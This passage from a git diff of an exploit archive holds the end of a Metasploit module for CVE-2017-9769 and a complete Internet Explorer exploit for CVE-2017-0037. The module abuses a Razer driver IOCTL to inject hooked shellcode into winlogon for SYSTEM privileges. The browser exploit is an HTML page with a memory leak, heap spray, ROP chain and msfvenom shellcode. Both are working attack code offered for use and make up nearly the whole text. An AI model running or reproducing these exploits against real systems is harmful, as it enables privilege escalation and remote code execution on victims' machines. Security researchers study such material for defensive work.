an arbitrary process with the necessary privileges to allocate, read and
|
||||||
|
write memory in the specified process.
|
||||||
|
|
||||||
|
This exploit leverages this vulnerability to open a handle to the
|
||||||
|
winlogon process (which runs as NT_AUTHORITY\SYSTEM) and infect it by
|
||||||
|
installing a hook to execute attacker controlled shellcode. This hook is
|
||||||
|
then triggered on demand by calling user32!LockWorkStation(), resulting
|
||||||
|
in the attacker's payload being executed with the privileges of the
|
||||||
|
infected winlogon process. In order for the issued IOCTL to work, the
|
||||||
|
RazerIngameEngine.exe process must not be running. This exploit will
|
||||||
|
check if it is, and attempt to kill it as necessary.
|
||||||
|
|
||||||
|
The vulnerable software can be found here:
|
||||||
|
https://www.razerzone.com/synapse/. No Razer hardware needs to be
|
||||||
|
connected in order to leverage this vulnerability.
|
||||||
|
|
||||||
|
This exploit is not opsec-safe due to the user being logged out as part
|
||||||
|
of the exploitation process.
|
||||||
|
},
|
||||||
|
'Author' => 'Spencer McIntyre',
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' => [
|
||||||
|
['CVE', '2017-9769'],
|
||||||
|
['URL', 'https://warroom.securestate.com/cve-2017-9769/']
|
||||||
|
],
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
# Tested on (64 bits):
|
||||||
|
# * Windows 7 SP1
|
||||||
|
# * Windows 10.0.10586
|
||||||
|
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
|
||||||
|
],
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'EXITFUNC' => 'thread',
|
||||||
|
'WfsDelay' => 20
|
||||||
|
},
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'Privileged' => true,
|
||||||
|
'DisclosureDate' => 'Mar 22 2017'))
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
# Validate that the driver has been loaded and that
|
||||||
|
# the version is the same as the one expected
|
||||||
|
client.sys.config.getdrivers.each do |d|
|
||||||
|
if d[:basename].downcase == 'rzpnk.sys'
|
||||||
|
expected_checksum = 'b4598c05d5440250633e25933fff42b0'
|
||||||
|
target_checksum = client.fs.file.md5(d[:filename])
|
||||||
|
|
||||||
|
if expected_checksum == Rex::Text.to_hex(target_checksum, '')
|
||||||
|
return Exploit::CheckCode::Appears
|
||||||
|
else
|
||||||
|
return Exploit::CheckCode::Detected
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
if is_system?
|
||||||
|
fail_with(Failure::None, 'Session is already elevated')
|
||||||
|
end
|
||||||
|
|
||||||
|
if check == Exploit::CheckCode::Safe
|
||||||
|
fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
|
||||||
|
end
|
||||||
|
|
||||||
|
if session.platform != 'windows'
|
||||||
|
fail_with(Failure::NoTarget, 'This exploit requires a native Windows meterpreter session')
|
||||||
|
elsif session.arch != ARCH_X64
|
||||||
|
fail_with(Failure::NoTarget, 'This exploit only supports x64 Windows targets')
|
||||||
|
end
|
||||||
|
|
||||||
|
pid = session.sys.process['RazerIngameEngine.exe']
|
||||||
|
if pid
|
||||||
|
# if this process is running, the IOCTL won't work but the process runs
|
||||||
|
# with user privileges so we can kill it
|
||||||
|
print_status("Found RazerIngameEngine.exe pid: #{pid}, killing it...")
|
||||||
|
session.sys.process.kill(pid)
|
||||||
|
end
|
||||||
|
|
||||||
|
pid = session.sys.process['winlogon.exe']
|
||||||
|
print_status("Found winlogon pid: #{pid}")
|
||||||
|
|
||||||
|
handle = get_handle(pid)
|
||||||
|
fail_with(Failure::NotVulnerable, 'Failed to open the process handle') if handle.nil?
|
||||||
|
vprint_status('Successfully opened a handle to the winlogon process')
|
||||||
|
|
||||||
|
winlogon = session.sys.process.new(pid, handle)
|
||||||
|
allocation_size = payload.encoded.length + HOOK_STUB_MAX_LENGTH
|
||||||
|
shellcode_address = winlogon.memory.allocate(allocation_size)
|
||||||
|
winlogon.memory.protect(shellcode_address)
|
||||||
|
print_good("Allocated #{allocation_size} bytes in winlogon at 0x#{shellcode_address.to_s(16)}")
|
||||||
|
winlogon.memory.write(shellcode_address, payload.encoded)
|
||||||
|
hook_stub_address = shellcode_address + payload.encoded.length
|
||||||
|
|
||||||
|
result = session.railgun.kernel32.LoadLibraryA('user32')
|
||||||
|
fail_with(Failure::Unknown, 'Failed to get a handle to user32.dll') if result['return'] == 0
|
||||||
|
user32_handle = result['return']
|
||||||
|
|
||||||
|
# resolve and backup the functions that we'll install trampolines in
|
||||||
|
user32_trampolines = {} # address => original chunk
|
||||||
|
user32_functions = ['LockWindowStation']
|
||||||
|
user32_functions.each do |function|
|
||||||
|
address = get_address(user32_handle, function)
|
||||||
|
winlogon.memory.protect(address)
|
||||||
|
user32_trampolines[function] = {
|
||||||
|
address: address,
|
||||||
|
original: winlogon.memory.read(address, 24)
|
||||||
|
}
|
||||||
|
end
|
||||||
|
|
||||||
|
# generate and install the hook asm
|
||||||
|
hook_stub = get_hook(shellcode_address, user32_trampolines)
|
||||||
|
fail_with(Failure::Unknown, 'Failed to generate the hook stub') if hook_stub.nil?
|
||||||
|
# if this happens, there was a programming error
|
||||||
|
fail_with(Failure::Unknown, 'The hook stub is too large, please update HOOK_STUB_MAX_LENGTH') if hook_stub.length > HOOK_STUB_MAX_LENGTH
|
||||||
|
|
||||||
|
winlogon.memory.write(hook_stub_address, hook_stub)
|
||||||
|
vprint_status("Wrote the #{hook_stub.length} byte hook stub in winlogon at 0x#{hook_stub_address.to_s(16)}")
|
||||||
|
|
||||||
|
# install the asm trampolines to jump to the hook
|
||||||
|
user32_trampolines.each do |function, trampoline_info|
|
||||||
|
address = trampoline_info[:address]
|
||||||
|
trampoline = Metasm::Shellcode.assemble(Metasm::X86_64.new, %{
|
||||||
|
mov rax, 0x#{address.to_s(16)}
|
||||||
|
push rax
|
||||||
|
mov rax, 0x#{hook_stub_address.to_s(16)}
|
||||||
|
jmp rax
|
||||||
|
}).encode_string
|
||||||
|
winlogon.memory.write(address, trampoline)
|
||||||
|
vprint_status("Installed user32!#{function} trampoline at 0x#{address.to_s(16)}")
|
||||||
|
end
|
||||||
|
|
||||||
|
session.railgun.user32.LockWorkStation()
|
||||||
|
session.railgun.kernel32.CloseHandle(handle)
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_address(dll_handle, function_name)
|
||||||
|
result = session.railgun.kernel32.GetProcAddress(dll_handle, function_name)
|
||||||
|
fail_with(Failure::Unknown, 'Failed to get function address') if result['return'] == 0
|
||||||
|
result['return']
|
||||||
|
end
|
||||||
|
|
||||||
|
# this is where the actual vulnerability is leveraged
|
||||||
|
def get_handle(pid)
|
||||||
|
handle = open_device("\\\\.\\47CD78C9-64C3-47C2-B80F-677B887CF095", 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
|
||||||
|
return nil unless handle
|
||||||
|
vprint_status('Successfully opened a handle to the driver')
|
||||||
|
|
||||||
|
buffer = [pid, 0].pack(target.arch.first == ARCH_X64 ? 'QQ' : 'LL')
|
||||||
|
|
||||||
|
session.railgun.add_function('ntdll', 'NtDeviceIoControlFile', 'DWORD',[
|
||||||
|
['DWORD', 'FileHandle', 'in' ],
|
||||||
|
['DWORD', 'Event', 'in' ],
|
||||||
|
['LPVOID', 'ApcRoutine', 'in' ],
|
||||||
|
['LPVOID', 'ApcContext', 'in' ],
|
||||||
|
['PDWORD', 'IoStatusBlock', 'out'],
|
||||||
|
['DWORD', 'IoControlCode', 'in' ],
|
||||||
|
['PBLOB', 'InputBuffer', 'in' ],
|
||||||
|
['DWORD', 'InputBufferLength', 'in' ],
|
||||||
|
['PBLOB', 'OutputBuffer', 'out'],
|
||||||
|
['DWORD', 'OutputBufferLength', 'in' ],
|
||||||
|
])
|
||||||
|
result = session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x22a050, buffer, buffer.length, buffer.length, buffer.length)
|
||||||
|
return nil if result['return'] != 0
|
||||||
|
session.railgun.kernel32.CloseHandle(handle)
|
||||||
|
|
||||||
|
result['OutputBuffer'].unpack(target.arch.first == ARCH_X64 ? 'QQ' : 'LL')[1]
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_hook(shellcode_address, restore)
|
||||||
|
dll_handle = session.railgun.kernel32.GetModuleHandleA('kernel32')['return']
|
||||||
|
return nil if dll_handle == 0
|
||||||
|
create_thread_address = get_address(dll_handle, 'CreateThread')
|
||||||
|
|
||||||
|
stub = %{
|
||||||
|
call main
|
||||||
|
; restore the functions where the trampolines were installed
|
||||||
|
push rbx
|
||||||
|
}
|
||||||
|
|
||||||
|
restore.each do |function, trampoline_info|
|
||||||
|
original = trampoline_info[:original].unpack('Q*')
|
||||||
|
stub << "mov rax, 0x#{trampoline_info[:address].to_s(16)}"
|
||||||
|
original.each do |chunk|
|
||||||
|
stub << %{
|
||||||
|
mov rbx, 0x#{chunk.to_s(16)}
|
||||||
|
mov qword ptr ds:[rax], rbx
|
||||||
|
add rax, 8
|
||||||
|
}
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
stub << %{
|
||||||
|
pop rbx
|
||||||
|
ret
|
||||||
|
|
||||||
|
main:
|
||||||
|
; backup registers we're going to mangle
|
||||||
|
push r9
|
||||||
|
push r8
|
||||||
|
push rdx
|
||||||
|
push rcx
|
||||||
|
|
||||||
|
; setup the arguments for the call to CreateThread
|
||||||
|
xor rax, rax
|
||||||
|
push rax ; lpThreadId
|
||||||
|
push rax ; dwCreationFlags
|
||||||
|
xor r9, r9 ; lpParameter
|
||||||
|
mov r8, 0x#{shellcode_address.to_s(16)} ; lpStartAddress
|
||||||
|
xor rdx, rdx ; dwStackSize
|
||||||
|
xor rcx, rcx ; lpThreadAttributes
|
||||||
|
mov rax, 0x#{create_thread_address.to_s(16)} ; &CreateThread
|
||||||
|
|
||||||
|
call rax
|
||||||
|
add rsp, 16
|
||||||
|
|
||||||
|
; restore arguments that were mangled
|
||||||
|
pop rcx
|
||||||
|
pop rdx
|
||||||
|
pop r8
|
||||||
|
pop r9
|
||||||
|
ret
|
||||||
|
}
|
||||||
|
Metasm::Shellcode.assemble(Metasm::X86_64.new, stub).encode_string
|
||||||
|
end
|
||||||
|
end
|
||||||
252
platforms/windows/remote/42354.html
Executable file
252
platforms/windows/remote/42354.html
Executable file
|
|
@ -0,0 +1,252 @@
|
||||||
|
# Exploit Title: Microsoft Internet Explorer - 'mshtml.dll' Remote
|
||||||
|
Code Execution (MS17-007)
|
||||||
|
# Google Dork: NA
|
||||||
|
# Date: 24/7/2017
|
||||||
|
# Exploit Author: Mohamed Hamdy - Nsecurity
|
||||||
|
# Vendor Homepage: https://www.microsoft.com
|
||||||
|
# Version: Microsoft Internet Explorer 11
|
||||||
|
# Tested on: Windows 7 SP1 x86
|
||||||
|
# CVE : CVE-2017-0037
|
||||||
|
|
||||||
|
<!--
|
||||||
|
|
||||||
|
CVE-2017-0037
|
||||||
|
|
||||||
|
mshtml.dll::HandleColumnBreakOnColumnSpanningElement
|
||||||
|
|
||||||
|
|
||||||
|
Affected Version:
|
||||||
|
Microsoft Internet Explorer 10 and 11 and Microsoft Edge
|
||||||
|
|
||||||
|
|
||||||
|
Test Bed:
|
||||||
|
Microsoft Internet Explorer 10 and 11
|
||||||
|
OS: Windows 7 SP1 x86
|
||||||
|
|
||||||
|
Advisory:
|
||||||
|
https://technet.microsoft.com/en-us/library/security/ms17-007.aspx
|
||||||
|
|
||||||
|
|
||||||
|
Author: Mohamed Hamdy AKA "Nsecurity"
|
||||||
|
Email: n.s3curity.service@gmail.com
|
||||||
|
Jid : Nsecurity@jabber.ru
|
||||||
|
|
||||||
|
<!DOCTYPE html>
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<style>
|
||||||
|
.class1 { float: left; column-count: 5; }
|
||||||
|
.class2 { column-span: all; columns: 1px; }
|
||||||
|
table {border-spacing: 0px;}
|
||||||
|
</style>
|
||||||
|
<script>
|
||||||
|
|
||||||
|
var base_leaked_addr = "";
|
||||||
|
|
||||||
|
function infoleak() {
|
||||||
|
|
||||||
|
var textarea = document.getElementById("textarea");
|
||||||
|
var frame = document.createElement("iframe");
|
||||||
|
|
||||||
|
textarea.appendChild(frame);
|
||||||
|
frame.contentDocument.onreadystatechange = eventhandler;
|
||||||
|
|
||||||
|
form.reset();
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
function eventhandler() {
|
||||||
|
|
||||||
|
document.getElementById("textarea").defaultValue = "foo";
|
||||||
|
// Object replaced here
|
||||||
|
// one of the side allocations of the audio element
|
||||||
|
var audioElm = document.createElement("audio");
|
||||||
|
audioElm.src = "test.mp3";
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
function writeu(base, offs) {
|
||||||
|
|
||||||
|
var res = 0;
|
||||||
|
if (base != 0) { res = base + offs }
|
||||||
|
else { res = offs }
|
||||||
|
res = res.toString(16);
|
||||||
|
while (res.length < 8) res = "0"+res;
|
||||||
|
return "%u"+res.substring(4,8)+"%u"+res.substring(0,4);
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
function readu(value) {
|
||||||
|
|
||||||
|
var uc = escape(value);
|
||||||
|
var ucsplit = uc.split('%');
|
||||||
|
var res = parseInt('0x' + ucsplit[2].replace('u', '') + ucsplit[1].replace('u', ''));
|
||||||
|
return res;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
function spray() {
|
||||||
|
|
||||||
|
// DEPS technique used here - avoid null bytes
|
||||||
|
|
||||||
|
var hso = document.createElement("div");
|
||||||
|
base_leaked_addr = parseInt(base_leaked_addr,16);
|
||||||
|
|
||||||
|
var junk = unescape("%u0e0e%u0e0e");
|
||||||
|
while (junk.length < 0x1000) junk += junk;
|
||||||
|
|
||||||
|
|
||||||
|
var rop = unescape(
|
||||||
|
writeu(base_leaked_addr,0x56341) +
|
||||||
|
writeu(base_leaked_addr,0x56341) +
|
||||||
|
writeu(base_leaked_addr,0x9b7c) +
|
||||||
|
writeu(0,0xffffffff) +
|
||||||
|
writeu(base_leaked_addr,0x2a89e) +
|
||||||
|
writeu(0,0x41414141) +
|
||||||
|
writeu(base_leaked_addr,0x4e385) +
|
||||||
|
writeu(0,0x41414141) +
|
||||||
|
writeu(base_leaked_addr,0x2030f) +
|
||||||
|
writeu(base_leaked_addr,0x9b7c) +
|
||||||
|
writeu(0,0x41414141) +
|
||||||
|
writeu(0,0x41414141) +
|
||||||
|
writeu(0,0xf07645d5) +
|
||||||
|
writeu(base_leaked_addr,0x6e002) +
|
||||||
|
writeu(0,0x41414141) +
|
||||||
|
writeu(base_leaked_addr,0xaebc) +
|
||||||
|
writeu(base_leaked_addr,0x9b7c) +
|
||||||
|
writeu(0,0xffffffbf) +
|
||||||
|
writeu(base_leaked_addr,0x2a89e) +
|
||||||
|
writeu(0,0x41414141) +
|
||||||
|
writeu(base_leaked_addr,0x6361b) +
|
||||||
|
writeu(base_leaked_addr,0x432cf) +
|
||||||
|
writeu(0,0x41414141) +
|
||||||
|
writeu(0,0x41414141) +
|
||||||
|
writeu(base_leaked_addr,0x9b7c) +
|
||||||
|
writeu(base_leaked_addr,0x5cef1) +
|
||||||
|
writeu(base_leaked_addr,0x4177e) +
|
||||||
|
writeu(base_leaked_addr,0x9b7c) +
|
||||||
|
writeu(base_leaked_addr,0x1244) +
|
||||||
|
writeu(base_leaked_addr,0xa819) +
|
||||||
|
writeu(0,0x41414141) +
|
||||||
|
writeu(base_leaked_addr,0x2720b) +
|
||||||
|
"" );
|
||||||
|
|
||||||
|
/*
|
||||||
|
|
||||||
|
Original VirtualAlloc ROP generated with mona.py - www.corelan.be
|
||||||
|
Library used "propsys.dll", part of the Windows Search functionality (?)
|
||||||
|
and last updated Nov 2010. I think it's a good target for our needs.
|
||||||
|
Fixed to overcome the problem with MOV EAX,80004001 after the PUSHAD instruction
|
||||||
|
|
||||||
|
"%u6341%u6af8" + // 0x6af86341 : ,# POP EBP # RETN [PROPSYS.dll]
|
||||||
|
"%u6341%u6af8" + // 0x6af86341 : ,# skip 4 bytes [PROPSYS.dll]
|
||||||
|
"%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll]
|
||||||
|
"%uffff%uffff" + // 0xffffffff : ,# Value to negate, will become 0x00000001
|
||||||
|
"%ua89e%u6af5" + // 0x6af5a89e : ,# NEG EAX # RETN [PROPSYS.dll]
|
||||||
|
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
|
||||||
|
"%ue385%u6af7" + // 0x6af7e385 : ,# PUSH EAX # ADD AL,5E # XOR EAX,EAX # POP EBX # POP EDI # POP EBP # RETN 0x08 [PROPSYS.dll]
|
||||||
|
"%u4141%u4141" + // 0x41414141 : ,# Filler (compensate)
|
||||||
|
"%u4141%u4141" + // 0x41414141 : ,# Filler (compensate) --> changed to 0x6af5030f : # POP EBX # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ}
|
||||||
|
"%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll]
|
||||||
|
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
|
||||||
|
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
|
||||||
|
"%u45d5%uf076" + // 0xf07645d5 : ,# put delta into eax (-> put 0x00001000 into edx)
|
||||||
|
"%ue002%u6af9" + // 0x6af9e002 : ,# ADD EAX,0F89CA2B # RETN [PROPSYS.dll]
|
||||||
|
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
|
||||||
|
"%uaebc%u6af3" + // 0x6af3aebc : ,# XCHG EAX,EDX # RETN [PROPSYS.dll]
|
||||||
|
"%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll]
|
||||||
|
"%uffc0%uffff" + // 0xffffffc0 : ,# Value to negate, will become 0x00000040
|
||||||
|
"%ua89e%u6af5" + // 0x6af5a89e : ,# NEG EAX # RETN [PROPSYS.dll]
|
||||||
|
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
|
||||||
|
"%u361b%u6af9" + // 0x6af9361b : ,# XCHG EAX,ECX # ADD DL,B # DEC ECX # RETN 0x08 [PROPSYS.dll]
|
||||||
|
"%u32cf%u6af7" + // 0x6af732cf : ,# POP EDI # RETN [PROPSYS.dll]
|
||||||
|
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
|
||||||
|
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
|
||||||
|
"%u40bd%u6af4" + // 0x6af440bd : ,# RETN (ROP NOP) [PROPSYS.dll]
|
||||||
|
"%ucef1%u6af8" + // 0x6af8cef1 : ,# POP ESI # RETN [PROPSYS.dll]
|
||||||
|
"%u177e%u6af7" + // 0x6af7177e : ,# JMP [EAX] [PROPSYS.dll]
|
||||||
|
"%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll]
|
||||||
|
"%u1244%u6af3" + // 0x6af31244 : ,# ptr to &VirtualAlloc() [IAT PROPSYS.dll]
|
||||||
|
"%u6af8" + // 0x6af80a14 : ,# PUSHAD # ADD AL,0 # MOV EAX,80004001 # POP EBP # RETN 0x08 [PROPSYS.dll] --> changed to 0x6af3a819 : # PUSHAD # CMP EAX,0C68B6AF3 # POP ESI # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ}
|
||||||
|
"%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation)
|
||||||
|
"%u720b%u6af5" + // 0x6af5720b : ,# ptr to 'jmp esp' [PROPSYS.dll]
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
// Move ESP to the VirtualAlloc ROP chain
|
||||||
|
var stack_shift_rop = unescape(
|
||||||
|
writeu(0,235802130) +
|
||||||
|
writeu(base_leaked_addr,0x2030f) + // 0x6af5030f : # POP EBX # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ}
|
||||||
|
writeu(0,0x0e0e1258) +
|
||||||
|
writeu(base_leaked_addr,0x28002) + // 0x6af58002 : # MOV EAX,EBX # POP EBX # POP EBP # RETN 0x08 ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ}
|
||||||
|
writeu(0,0x41414141) +
|
||||||
|
writeu(0,0x41414141) +
|
||||||
|
writeu(base_leaked_addr,0x0b473) + //0x6af3b473 : # XCHG EAX,ESP # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ}
|
||||||
|
writeu(0,0x41414141) +
|
||||||
|
writeu(0,0x41414141) +
|
||||||
|
"");
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
// root@kali:~# msfvenom -p windows/exec cmd=calc.exe -b "\x00" -f js_le
|
||||||
|
// ~2854 bytes max
|
||||||
|
|
||||||
|
var shellcode = unescape("%uec83%u4070" + // move stack pointer away to avoid shellcode corruption
|
||||||
|
"%ucadb%ub6ba%u0f7b%ud99f%u2474%u5ef4%uc929%u31b1%uee83%u31fc%u1456%u5603%u99a2%u63fa%udf22%u9c05%u80b2%u798c%u8083%u0aeb%u30b3%u5e7f%uba3f%u4b2d%uceb4%u7cf9%u647d%ub3dc%ud57e%ud51c%u24fc%u3571%ue73d%u3484%u1a7a%u6464%u50d3%u99db%u2c50%u12e0%ua02a%uc660%uc3fa%u5941%u9a71%u5b41%u9656%u43cb%u93bb%uf882%u6f0f%u2915%u905e%u14ba%u636f%u51c2%u9c57%uabb1%u21a4%u6fc2%ufdd7%u7447%u757f%u50ff%u5a7e%u1266%u178c%u7cec%ua690%uf721%u23ac%ud8c4%u7725%ufce3%u236e%ua58a%u82ca%ub6b3%u7bb5%ubc16%u6f5b%u9f2b%u6e31%ua5b9%u7077%ua5c1%u1927%u2ef0%u5ea8%ue50d%u918d%ua447%u39a7%u3c0e%u27fa%ueab1%u5e38%u1f32%ua5c0%u6a2a%ue2c5%u86ec%u7bb7%ua899%u7b64%uca88%uefeb%u2350%u978e%u3bf3" +
|
||||||
|
"");
|
||||||
|
|
||||||
|
|
||||||
|
var xchg = unescape(writeu(base_leaked_addr, 0x0b473)); // Initial EIP control ---> 0x6af3b473 : # XCHG EAX,ESP # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ}
|
||||||
|
var fix1 = 0x15c;
|
||||||
|
var fixop = unescape("%u0e0e%u0e0e");
|
||||||
|
var offset_to_stack_shift = 0x6f7;
|
||||||
|
var offset_to_xchg = 0xd2+2;
|
||||||
|
// Jumping a bit around here, pretty sure this can be simplified but hey... it works
|
||||||
|
data = junk.substring(0,fix1-rop.length) + rop + fixop + shellcode + junk.substring(0,offset_to_stack_shift-fix1-fixop.length-shellcode.length) + stack_shift_rop + junk.substring(0,offset_to_xchg-stack_shift_rop.length) + xchg;
|
||||||
|
data += junk.substring(0,0x800-offset_to_stack_shift-offset_to_xchg-xchg.length);
|
||||||
|
|
||||||
|
while (data.length < 0x80000) data += data;
|
||||||
|
for (var i = 0; i < 0x350; i++)
|
||||||
|
{
|
||||||
|
var obj = document.createElement("button");
|
||||||
|
obj.title = data.substring(0,(0x7fb00-2)/2);
|
||||||
|
hso.appendChild(obj);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function boom() {
|
||||||
|
document.styleSheets[0].media.mediaText = "aaaaaaaaaaaaaaaaaaaa";
|
||||||
|
th1.align = "right";
|
||||||
|
}
|
||||||
|
|
||||||
|
setTimeout(function() {
|
||||||
|
|
||||||
|
var txt = document.getElementById("textarea");
|
||||||
|
var il = txt.value.substring(0,2);
|
||||||
|
var leaked_addr = readu(il);
|
||||||
|
base_leaked_addr = leaked_addr - 0xbacc; // base of propsys
|
||||||
|
base_leaked_addr = base_leaked_addr.toString(16);
|
||||||
|
spray();
|
||||||
|
boom();
|
||||||
|
|
||||||
|
}, 1000); // can be reduced
|
||||||
|
</script>
|
||||||
|
</head>
|
||||||
|
|
||||||
|
<body onload=infoleak()>
|
||||||
|
<form id="form">
|
||||||
|
<textarea id="textarea" style="display:none" cols="81">aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</textarea>
|
||||||
|
</form>
|
||||||
|
<script>
|
||||||
|
|
||||||
|
</script>
|
||||||
|
<table cellspacing="0">
|
||||||
|
<tr class="class1">
|
||||||
|
<th id="th1" colspan="0" width=2000000></th>
|
||||||
|
<th class="class2" width=0><div class="class2"></div></th>
|
||||||
|
</table>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
Loading…
Add table
Reference in a new issue